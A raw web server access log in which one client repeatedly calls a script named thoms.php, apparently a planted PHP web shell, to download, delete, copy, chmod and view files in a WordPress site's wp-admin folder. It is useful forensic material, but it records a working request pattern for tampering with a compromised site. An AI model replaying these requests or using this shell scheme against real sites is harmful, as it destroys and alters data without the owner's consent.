45.135.193.11 - - [11/Sep/2026:23:22:11 -0400] "GET /thoms.php?dl=options-head.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=options-head.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:11 -0400] "GET /big-wife.com.tw/wp-admin/site-health.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:12 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit-link-form.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit-link-form.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:12 -0400] "GET /thoms.php?dl=press-this.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=press-this.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:12 -0400] "GET /thoms.php?chmod=font-library.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=font-library.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:12 -0400] "GET /big-wife.com.tw/wp-admin/font-library.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:12 -0400] "GET /thoms.php?chmod=admin.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:12 -0400] "GET /thoms.php?dl=menu-header.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28857 "http://163.245.207.76:443/thoms.php?dl=menu-header.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:12 -0400] "GET /thoms.php?dl=tools.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=tools.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:12 -0400] "GET /big-wife.com.tw/wp-admin/options-connectors.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:13 -0400] "GET /thoms.php?chmod=widgets-form.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=widgets-form.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:13 -0400] "GET /thoms.php?chmod=edit-link-form.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=edit-link-form.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:13 -0400] "GET /thoms.php?del=edit.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=edit.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-upgrade-network.php HTTP/1.1" 200 12046 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-upgrade-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:13 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fadmin-post.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fadmin-post.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=admin.php HTTP/1.1" 200 16234 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:13 -0400] "GET /thoms.php?del=privacy.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28809 "http://163.245.207.76:443/thoms.php?del=privacy.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:13 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Flink.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Flink.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit.php HTTP/1.1" 200 18579 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-admin.php HTTP/1.1" 200 12012 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:14 -0400] "GET /thoms.php?chmod=widgets.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:14 -0400] "GET /thoms.php?del=maint&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28858 "http://163.245.207.76:443/thoms.php?del=maint&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:14 -0400] "GET /thoms.php?del=network&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=network&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:14 -0400] "GET /big-wife.com.tw/wp-admin/admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:14 -0400] "GET /thoms.php?chmod=admin-footer.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=admin-footer.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:14 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fload-scripts.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fload-scripts.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:14 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=media-new.php HTTP/1.1" 200 13492 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=media-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:14 -0400] "GET /big-wife.com.tw/wp-admin/theme-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:14 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fwidgets-form.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fwidgets-form.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:14 -0400] "GET /thoms.php?chmod=network&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=network&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:15 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit-link-form.php HTTP/1.1" 200 14395 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit-link-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:14 -0400] "GET /thoms.php?del=customize.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=customize.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:15 -0400] "GET /thoms.php?chmod=ms-themes.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=ms-themes.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:15 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-themes.php HTTP/1.1" 200 12026 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:15 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=theme-install.php HTTP/1.1" 200 19283 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=theme-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:15 -0400] "GET /thoms.php?del=upload.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=upload.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:15 -0400] "GET /big-wife.com.tw/wp-admin/upgrade.php HTTP/1.1" 200 576 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:15 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=plugins.php HTTP/1.1" 200 21220 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=plugins.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:15 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin%2Fincludes HTTP/1.1" 200 30305 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin%2Fincludes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:15 -0400] "GET /thoms.php?dl=admin-header.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=admin-header.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:16 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-options.php HTTP/1.1" 200 12028 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:15 -0400] "GET /thoms.php?del=load-styles.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=load-styles.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fnetwork.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11421 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fnetwork.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:16 -0400] "GET /thoms.php?chmod=options-connectors.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=options-connectors.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-discussion.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-discussion.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:16 -0400] "GET /big-wife.com.tw/wp-admin/site-health-info.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:16 -0400] "GET /thoms.php?chmod=revision.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:16 -0400] "GET /thoms.php?chmod=plugin-install.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=plugin-install.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:16 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=widgets.php HTTP/1.1" 200 12491 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:16 -0400] "GET /thoms.php?dl=options-discussion.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=options-discussion.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmaint&p= HTTP/1.1" 200 12296 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmaint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:17 -0400] "GET /thoms.php?del=js&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28863 "http://163.245.207.76:443/thoms.php?del=js&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-permalink.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11428 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-permalink.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Frevision.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11437 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Frevision.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:17 -0400] "GET /big-wife.com.tw/wp-admin/menu-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:17 -0400] "GET /big-wife.com.tw/wp-admin/erase-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-media.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-media.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fuser-new.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fuser-new.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:17 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=admin-footer.php HTTP/1.1" 200 13058 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=admin-footer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:17 -0400] "GET /thoms.php?chmod=erase-personal-data.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=erase-personal-data.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:17 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin%2Fimages HTTP/1.1" 200 27266 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:18 -0400] "GET /big-wife.com.tw/wp-admin/link.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:18 -0400] "GET /big-wife.com.tw/wp-admin/user-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:18 -0400] "GET /thoms.php?chmod=profile.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:18 -0400] "GET /thoms.php?del=edit-tag-form.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28828 "http://163.245.207.76:443/thoms.php?del=edit-tag-form.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:18 -0400] "GET /big-wife.com.tw/wp-admin/ms-delete-site.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:18 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=setup-config.php HTTP/1.1" 200 18800 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=setup-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:18 -0400] "GET /thoms.php?del=nav-menus.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28858 "http://163.245.207.76:443/thoms.php?del=nav-menus.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:18 -0400] "GET /thoms.php?del=widgets-form-blocks.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=widgets-form-blocks.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:18 -0400] "GET /thoms.php?dl=edit-tag-form.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=edit-tag-form.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:19 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=plugin-install.php HTTP/1.1" 200 14906 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=plugin-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:19 -0400] "GET /thoms.php?chmod=user-new.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=user-new.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
